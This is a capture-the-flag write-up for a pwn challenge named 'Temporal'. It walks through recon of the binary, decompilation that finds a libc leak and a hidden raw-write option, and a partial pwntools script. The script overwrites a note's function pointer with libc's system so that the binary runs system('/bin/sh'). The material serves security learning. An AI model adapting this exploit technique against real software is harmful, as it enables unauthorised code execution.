CTF pwn - Temporal
RCE via libc leak and function pointer overwrite
Introduction
Given files:
vulnlibc.so.6
Challenge description:
I had a heck of a time making this one.
Recon
The first step is to collect information about the binary.
We are dealing with a 64-bit ELF on x86-64:
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/kali/CTF/2026/bluehens/pwn/Temporal/glibc-2.38/ld-linux-x86-64.so.2, BuildID[sha1]=f53f4e4992a2d854344affc655e45c8b1865274d, for GNU/Linux 3.2.0, not stripped
Then we check binary protections with checksec:
$ checksec vuln
[*] '/home/kali/CTF/2026/bluehens/pwn/Temporal/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x3ff000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
There are essentially no meaningful protections, so exploitation is straightforward once the code path is identified.
I decompiled the binary with Binary Ninja and started mapping the menu actions.
The menu displayed at runtime:
A note allocation stores a function pointer at offset 0x200, which is later used to print the note:
I also found a hidden menu option that performs a raw write of 0x210 bytes into the note buffer. This allows overwriting the print function pointer set by alloc_note.
Another function parse_proc_leak gives a direct leak of the libc base address:
At the end, dispatch_note calls the function pointer stored at offset 0x200:
With this global view, we can build a reliable exploitation chain.
Exploitation Chain
- Leak the libc base address.
- Create a note.
- Overwrite
print_notewith a payload starting with/bin/sh\x00(forRDI) and ending with thesystempointer. - Trigger note printing to execute
system("/bin/sh").
#!/usr/bin/python3
from pwn import *
#.......SKIP.......#
menu = lambda choice: target.sendlineafter(b">", str(choice).encode())
id = lambda choice: target.sendlineafter(b"id", str(choice).encode())
content = lambda content: target.sendlineafter(b"content:", content.encode())
def leak():
target.recvuntil(b"libc base: ")
libc.address = int(target.recvline().strip(), 16)
def attack():
try:
# leak
menu(5)
id(0)
leak()
# create
menu(1)
id(0)
content("A" * 0x20)
# overwrite
menu(8)
id(0)
payload = b"/bin/sh\x00".ljust(0x200, b"B")
payload += p64(libc.sym.system)
target.sendline(payload)
# print
menu(3)
id(0)
return
except Exception as e:
log.exception(f"Error: {e}")
#.......SKIP.......#